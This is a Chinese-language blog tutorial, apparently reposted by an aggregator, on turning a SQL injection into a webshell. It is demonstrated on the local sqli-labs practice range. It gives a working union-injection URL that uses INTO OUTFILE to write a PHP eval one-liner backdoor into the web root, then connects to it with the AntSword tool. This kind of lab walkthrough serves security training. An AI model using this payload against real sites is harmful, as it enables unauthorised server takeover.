网络安全——基于SQL注入拿到webshell
Posted Demo不是emo
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了网络安全——基于SQL注入拿到webshell相关的知识,希望对你有一定的参考价值。
作者名:Demo不是emo
主页面链接:主页传送门
创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构每日emo:纵是告别,依旧意难平
今天参加远程面试的时候面试官问了这样一个题:“你知道哪些通过注入漏洞获取服务器权限的方法?请详细讲讲,”这我直接愣住了,平时渗透中sql注入我一般用来获取数据库的数据信息,虽然在我记忆中我曾经学过通过注入漏洞获取服务器权限的方法,但已经忘得差不多了,所以今天写一篇博客来巩固一下这方面的知识,希望对您们也有帮助
目录
(3)My.ini文件中的secure_file_priv为空
一:前提条件
想要通过sql注入获取对方服务器权限,需要满足以下条件:
(1)当前sql注入用户必须为DBA权限
即--is-dba参数的值为true
很多小伙伴又会问道,那dba权限是什么呢?
DBA权限就其实是数据库的超级管理员权限
只有dba才能创建数据库结构
注意:一般数据库的dba权限都为root
(2)知道网站的绝对路径
知道网站的绝对路径主要是方便我们上传木马文件
不知道怎样找网站的绝对路径的也可以看看我的教程
(3)My.ini文件中的secure_file_priv为空
如下, 意思就是不限制数据的导入和导出操作
即能够上传木马文件
二:原理讲解
先简单给大家介绍一下流程
1.目标存在sql注入漏洞,且已经获取目标的绝对路径
2.并且通过探测发现目标能够进行数据的导入和导出操作,即secure_file_priv为空
3.当前数据库是最高权限(即dba权限)
4.利用Into outfile() (写入文件的函数),向指定路径写入一句话木马
5.webshell连接工具连接一句话木马,成功获得权限
三:实际操作
这里我们用大家熟知的sqli-labs靶场来给大家演示,如下
模拟环境:
1.已经知道目标存在sql注入,类型为union注入
2.通过各种方法已经获取到目标的绝对路径,为
D:\\phpStudy\\PHPTutorial\\WWW\\targetrange\\sqli-labs-master\\Less-1
3.通过sql注入获取用户名判断出是root用户,即dba权限
页面如下
http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=1
1.通过sql注入漏洞写入文件到指定位置
代码如下:
http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=-1' union select 1,'<?php @eval($_POST['cmd']);?>',3 into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\targetrange\\sqli-labs-master\\Less-1/ab.php' %23
下面跟大家详细介绍一下这个命令的详细功能
http://127.0.0.1/targetrange/sqli-labs-master/Less-1/?id=-1' union select 1,'<?php @eval($_POST["cmd"]);?>',3 into outfile 'D:/phpStudy/PHPTutorial/WWW/targetrange/sqli-labs-master/Less-1/ab.php' %23
select 1,'<?php @eval($_POST["cmd"]);?>',3
指定数据
into outfile 'D:/phpStudy/PHPTutorial/WWW/targetrange/sqli-labs-master/Less-1/ab.php' %23
将数据写入目标文件目录的ab.php文件
因为是靶场,所以我们可以先看看指定目录下的文件
可以看到里面只有一个php文件和txt文件,我们执行上面的命令,如下
没有出现报错,说明已经成功写入了,再次查看该位置下的文件,如下
可以确定,一句话木马已经被成功写入
2.使用webshell管理工具连接
因为我平时用蚁剑比较多,这里就给大家用蚁剑演示了,首先打开蚁剑添加数据,输入我们刚才写入的文件的路径 ,密码为cmd
再点击添加数据,页面如下
可以看到已经成功获取了webshell,到这里就成功通过sqk注入拿到webshel了
重新测试了一遍发现其实还是挺简单的,只是平时获取webshell都老想着找文件上传漏洞去了,所以说大家还是得记住sql注入也是可以拿到webshell的哦,只是利用条件比较苛刻,最后,感谢大家的阅读,respect!
以上是关于网络安全——基于SQL注入拿到webshell的主要内容,如果未能解决你的问题,请参考以下文章